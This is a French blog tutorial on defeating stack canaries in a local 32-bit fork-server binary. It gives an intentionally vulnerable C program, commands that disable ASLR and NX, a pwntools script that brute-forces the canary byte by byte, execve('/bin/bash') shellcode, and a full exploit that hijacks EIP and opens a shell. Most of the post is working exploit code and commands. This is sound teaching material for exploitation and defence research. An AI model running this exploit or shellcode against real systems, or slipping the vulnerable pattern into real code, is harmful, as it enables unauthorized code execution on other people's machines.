Par Geluchat, mer. 04 février 2015, dans la catégorie Journal de geluchat
Depuis l’avènement des Buffer Overflow dans le début des années 90, les experts en sécurité informatique ont cherché de nouvelles protections contre ce type d'attaques.
Ainsi sont nées bons nombres de protections connues telles que le fameux ASLR(Address Space Layout Randomization) , le NX (Non-executable) ou encore le SOURCE FORTIFY (remplacement de fonctions dangereuses par sa version sécurisée: strcpy=>strncpy).
Mais celle qui a fait le plus parler d'elle dans le monde des failles applicatives reste la Stack Smashing Protection aussi appelée "Canary" ou Cookie.
Voici un petit exemple de ce à quoi ressemble la Stack dans une fonction sur un programme avec la SSP activée.
+-------------------------+
| |
| Save EIP |
| |
+-------------------------+
| |
| Save EBP |
| |
+-------------------------+
| |
| Padding |
| |
+-------------------------+
| |
| Canary |
| |
+-------------------------+
| |
| char badbuffer[64] |
| |
+-------------------------+
On peut voir qu'un Canary été inséré entre notre buffer et le couple EBP (Frame Pointer) et EIP (Return Adress).
Pour mieux comprendre prenons l'exemple suivant:
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <memory.h>
void vuln(char *goodbuffer, int size)
{
char badbuffer[64];
memcpy(badbuffer,goodbuffer,size);
}
int main(int argc, char **argv)
{
int pid,real_size;
char goodbuffer[256];
char size[4];
setbuf(stdout, NULL); // On enleve le buffering de stdout
while(1)
{
pid = fork();
if( pid == 0 )
{
printf("Size: "); // On demande la taille de la chaine à recevoir
fgets(size, 4 , stdin);
real_size=atoi(size);
printf("Input: ");
fgets(goodbuffer, real_size, stdin);
goodbuffer[real_size-1]=0;
vuln(&goodbuffer, real_size-1); // Fonction vulnérable
printf("Done\n");
}
else
{
wait(NULL);
}
}
return -1;
}
Le ROP n'est pas l'objet de cet article, nous allons donc désactiver l'ASLR et le NX (-z execstack), on rajoute bien évidement l'option Smash Stack Protection (-fstack-protector).
root@Geluchat:~# echo 0 > /proc/sys/kernel/randomize_va_space # Desactive l'ALSR
root@Geluchat:~# gcc SSPbypass.c -Wall -o SSPbypass -z norelro -z execstack -fstack-protector -m32
root@Geluchat:~# chmod +x SSPbypass
root@Geluchat:~# ./SSPbypass
A la fin de la fonction vuln() le canary est vérifié, s'il a été modifié par l'exploitation d'un Buffer overflow classique on obtient une erreur du type:
*** stack smashing detected ***: SSPbypass - terminated
SSPbypass: stack smashing attack in function - terminated
Et bien sûr notre exploitation échoue.
Cette protection semble parfaite contre ce type de Buffer overflow, néanmoins elle reste contournable.
En effet, si l'on réécrit le canary par sa vraie valeur pendant l'exploitation, à la fin de la fonction le canary n'aura pas été modifié et le programme continuera son exécution.
Mais cette méthode à un gros défaut, un canary classique fait 4 octets (sur du 32 bits, par exemple 0x61626364) soit 256^4 qui correspond à 1 chance sur 4294967296, autant dire que sur un programme distant, ça reste impossible à exploiter.
La bonne méthode est donc ailleurs.
Pour trouver notre canary, il va falloir procéder en plusieurs fois. Je m'explique, le canary faisant dans notre cas 4 octets:
On peut donc effectuer un bruteforce byte par byte, c'est ce que fait le script suivant:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(arch='i386')
p = 0
e=ELF('./SSPbypass')
def wait(until):
return p.recvuntil(until)
def start():
global p, libc
if p is not 0:
p.close()
p = process('./SSPbypass', shell=True)
wait("Size: ")
def trigger(buf):
p.writeline(str(len(buf)+1))
dumb=wait("Input: ")
p.write(buf)
return wait("Size: ")
def leak(bufsize,canarysize):
leak = ""
while len(leak) < canarysize:
for i in xrange(256):
hex_byte = chr(i)
buf = "A"*bufsize + leak + hex_byte
resp=trigger(buf) # On test le cookie byte par byte
if 'Done' in resp:
leak += hex_byte
print("[*] byte : %r" % hex_byte)
break
if(i==255):
raise ValueError('Hum :(')
return leak
start()
canary=leak(64,4)
print("[+] Canary %#x" % u32(canary[0:4]))
trigger("A"*64+canary+p32(0)*3+"bbbb") # Rewrite eip par bbbb
Il ne reste plus ensuite qu'à exploiter le programme de manière classique:
# On export notre shellcode dans une variable d'environnement
http://shell-storm.org/shellcode/files/shellcode-606.php execve("/bin/bash", ["/bin/bash", "-p"], NULL)
root@Geluchat:~# export SC=$(python -c "print '\x90'*100+'\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80'")
root@Geluchat:~#./getenv SC
0xffffdf3e
getenv.c
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
printf("0x%x\n",getenv(argv[1]));
}
Exploit final :
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(arch='i386')
p = 0
e=ELF('./SSPbypass')
def wait(until):
return p.recvuntil(until)
def start():
global p, libc
if p is not 0:
p.close()
p = process('./SSPbypass', shell=True)
wait("Size: ")
def trigger(buf):
p.writeline(str(len(buf)+1))
dumb=wait("Input: ")
p.write(buf)
return wait("Size: ")
def leak(bufsize,canarysize):
leak = ""
while len(leak) < canarysize:
for i in xrange(256):
hex_byte = chr(i)
buf = "A"*bufsize + leak + hex_byte
resp=trigger(buf) # On test le cookie byte par byte
if 'Done' in resp:
leak += hex_byte
print("[*] byte : %r" % hex_byte)
break
if(i==255):
raise ValueError('Hum :(')
return leak
def getshell():
log.success("Enjoy your shell!")
p.sendline("python -c \"import pty;pty.spawn('/bin/bash')\"")
p.interactive()
start()
canary=leak(64,4)
print("[+] Canary %#x" % u32(canary[0:4]))
buf="A"*64+canary+p32(0)*3+p32(0xffffdf3e+20) # On ajoute +20 en raison du padding de l'environnement
p.writeline(str(len(buf)+1))
wait("Input: ")
p.write(buf)
getshell()
Un dernier détail important, le canary, sous certaines distributions, peut contenir des null-bytes, il ne sera bypassable que sous certaines conditions, par exemple l’utilisation d’une fonction recv() couplée à un memcpy() qui sont deux fonctions gérants les null-bytes.
Voila, c’est déjà terminé, n’hésitez pas à rejoindre mon Twitter pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.
Geluchat.